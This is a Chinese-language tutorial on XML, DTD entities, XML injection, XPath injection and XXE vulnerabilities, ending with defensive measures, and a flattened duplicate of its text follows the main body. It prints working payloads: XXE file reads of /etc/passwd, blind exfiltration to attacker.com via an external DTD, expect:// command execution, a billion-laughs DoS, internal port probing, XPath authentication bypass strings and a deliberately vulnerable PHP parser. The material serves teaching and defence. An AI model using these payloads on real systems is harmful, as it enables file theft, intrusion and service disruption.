从XML相关一步一步到XXE漏洞
字数 1964 2025-08-25 22:58:46

XML外部实体注入(XXE)漏洞详解

0x00 前言

XXE(XML External Entity Injection)全称为XML外部实体注入,是一种基于XML的安全漏洞。在学习XXE之前,需要先了解XML及其相关技术。

0x01 XML基础

什么是XML?

  • XML指可扩展标记语言(EXtensible Markup Language)
  • 设计宗旨是传输数据,而不是显示数据
  • 是W3C的推荐标准
  • 被设计用来结构化、存储以及传输信息
  • 没有预定义的标签

XML与HTML的区别

特性 XML HTML
目的 传输和存储数据 显示数据
焦点 数据内容 数据外观
标签 自定义 预定义

XML基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

XML基本语法

  1. 所有XML元素都须有关闭标签
  2. XML标签对大小写敏感
  3. XML必须正确地嵌套
  4. XML文档必须有根元素
  5. XML的属性值须加引号

CDATA部分

用于包含不需要解析的文本内容:

<![CDATA[ 内容 ]]>

0x02 DTD(文档类型定义)

DTD基本概念

DTD用来为XML文档定义语义约束,可以:

  • 嵌入在XML文档中(内部声明)
  • 放在单独的文件中(外部引用)
  • 定义哪些元素/属性是合法的
  • 定义元素间的嵌套/结合关系
  • 将特殊字符和可复用代码段自定义为实体

实体引用

XML预定义五个实体引用:

字符 实体引用
< <
> >
& &
' '
" "

DTD引入方式

内部DTD

<!DOCTYPE 根元素名称 [元素声明]>

示例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部DTD

  1. 引入本地DTD文件:
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
  1. 使用网络上的DTD文件:
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

PCDATA与CDATA

  • PCDATA(Parsed Character Data):会被解析器解析的文本
  • CDATA(Character Data):不会被解析器解析的文本

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

按实体有无参分类

  1. 一般实体
<!ENTITY 实体名称 "实体内容">

引用方式:&实体名称;

  1. 参数实体
<!ENTITY % 实体名称 "实体内容">

引用方式:%实体名称;

按使用方式分类

  1. 内部实体
<!ENTITY 实体名称 "实体的值">
  1. 外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

支持协议:

  • PHP支持的协议:file、http、https、ftp、php、compress.zlib、compress.bzip2、data、glob、phar等
  • 其他语言通常支持:file、http、https、ftp

0x03 XML注入

XML注入简介

通过利用闭合标签改写XML文件实现的攻击方式。

注入实例

原始XML:

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
    <password>admin</password>
    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

攻击者输入:

admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

结果:

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <name>admin</name>
    <password>admin</password>
    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
    <admin id="3">
    <name>hack</name>
    <password>hacker</password>
    </admin>
</manager>

XML注入防御

  1. 对用户输入进行过滤
  2. 对用户输入进行转义

0x04 XPath注入

XPath注入攻击简介

利用XPath解析器的松散输入和容错特性,在URL、表单等上附带恶意XPath查询代码,获取权限信息并更改这些信息。

与SQL注入相比的优势

  1. 广泛性:任何使用XPath的Web应用都可能存在漏洞
  2. 危害性大:可以访问XML文档的所有部分,不像SQL有权限限制

XPath注入示例

原始XML:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users> 
        <user> 
            <id>1</id>
            <username>test1</username>
            <password>test1</password>
        </user> 
        <user> 
            <id>2</id>
            <username>test2</username>
            <password>test2</password>
        </user>
    </users>
</root>

PHP代码:

$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
$result=$xml->xpath($query);

攻击输入:' or 1=1 or ''='

XPath盲注

通过逐步猜测XML结构获取数据:

  1. 盲注根节点:count(/*)
  2. 猜解节点名称:substring(name(/*[position() = 1]),1,1)='r'
  3. 重复上述步骤获取完整结构

XPath注入防御

  1. 输入验证和过滤
  2. 参数化XPath查询
  3. 错误信息处理
  4. 数据加密

0x05 XML外部实体注入(XXE)

XXE漏洞简介

发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件和代码。

XXE本地测试环境

<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///d://qwzf.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>

XXE常见利用方式

1. 读取任意文件

有回显:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&file;</name>
</root>

无回显(Blind XXE):

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>

evil.dtd内容:

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://attacker.com/?content=%file;'>"> %payload;

2. 执行系统命令

(需要安装expect扩展)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

3. 拒绝服务攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

4. 探测内网端口与攻击内网网站

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

0x06 XXE漏洞防御

  1. 禁用外部实体

    • PHP: libxml_disable_entity_loader(true);
    • Java:
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);
      
    • Python:
      from lxml import etree
      xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
      
  2. 过滤用户提交的XML数据

    • 过滤关键字:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC
  3. 不允许XML中含有自定义的DTD

0x07 总结

XXE漏洞是一种严重的安全威胁,可以导致敏感信息泄露、系统命令执行、拒绝服务等严重后果。开发人员应当充分了解其原理和危害,采取适当的防御措施。

XML外部实体注入(XXE)漏洞详解 0x00 前言 XXE(XML External Entity Injection)全称为XML外部实体注入,是一种基于XML的安全漏洞。在学习XXE之前,需要先了解XML及其相关技术。 0x01 XML基础 什么是XML? XML指可扩展标记语言(EXtensible Markup Language) 设计宗旨是传输数据,而不是显示数据 是W3C的推荐标准 被设计用来结构化、存储以及传输信息 没有预定义的标签 XML与HTML的区别 | 特性 | XML | HTML | |------|-----|------| | 目的 | 传输和存储数据 | 显示数据 | | 焦点 | 数据内容 | 数据外观 | | 标签 | 自定义 | 预定义 | XML基本格式 XML基本语法 所有XML元素都须有关闭标签 XML标签对大小写敏感 XML必须正确地嵌套 XML文档必须有根元素 XML的属性值须加引号 CDATA部分 用于包含不需要解析的文本内容: 0x02 DTD(文档类型定义) DTD基本概念 DTD用来为XML文档定义语义约束,可以: 嵌入在XML文档中(内部声明) 放在单独的文件中(外部引用) 定义哪些元素/属性是合法的 定义元素间的嵌套/结合关系 将特殊字符和可复用代码段自定义为实体 实体引用 XML预定义五个实体引用: | 字符 | 实体引用 | |------|----------| | < | &lt; | | > | &gt; | | & | &amp; | | ' | &apos; | | " | &quot; | DTD引入方式 内部DTD 示例: 外部DTD 引入本地DTD文件: 使用网络上的DTD文件: PCDATA与CDATA PCDATA (Parsed Character Data):会被解析器解析的文本 CDATA (Character Data):不会被解析器解析的文本 DTD实体 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 按实体有无参分类 一般实体 : 引用方式: &实体名称; 参数实体 : 引用方式: %实体名称; 按使用方式分类 内部实体 : 外部实体 : 或 支持协议: PHP支持的协议:file、http、https、ftp、php、compress.zlib、compress.bzip2、data、glob、phar等 其他语言通常支持:file、http、https、ftp 0x03 XML注入 XML注入简介 通过利用闭合标签改写XML文件实现的攻击方式。 注入实例 原始XML: 攻击者输入: 结果: XML注入防御 对用户输入进行过滤 对用户输入进行转义 0x04 XPath注入 XPath注入攻击简介 利用XPath解析器的松散输入和容错特性,在URL、表单等上附带恶意XPath查询代码,获取权限信息并更改这些信息。 与SQL注入相比的优势 广泛性 :任何使用XPath的Web应用都可能存在漏洞 危害性大 :可以访问XML文档的所有部分,不像SQL有权限限制 XPath注入示例 原始XML: PHP代码: 攻击输入: ' or 1=1 or ''=' XPath盲注 通过逐步猜测XML结构获取数据: 盲注根节点: count(/*) 猜解节点名称: substring(name(/*[position() = 1]),1,1)='r' 重复上述步骤获取完整结构 XPath注入防御 输入验证和过滤 参数化XPath查询 错误信息处理 数据加密 0x05 XML外部实体注入(XXE) XXE漏洞简介 发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件和代码。 XXE本地测试环境 Payload: XXE常见利用方式 1. 读取任意文件 有回显: 无回显(Blind XXE): evil.dtd内容: 2. 执行系统命令 (需要安装expect扩展) 3. 拒绝服务攻击 4. 探测内网端口与攻击内网网站 0x06 XXE漏洞防御 禁用外部实体 : PHP: libxml_disable_entity_loader(true); Java: Python: 过滤用户提交的XML数据 : 过滤关键字: <!DOCTYPE 和 <!ENTITY ,或者 SYSTEM 和 PUBLIC 不允许XML中含有自定义的DTD 0x07 总结 XXE漏洞是一种严重的安全威胁,可以导致敏感信息泄露、系统命令执行、拒绝服务等严重后果。开发人员应当充分了解其原理和危害,采取适当的防御措施。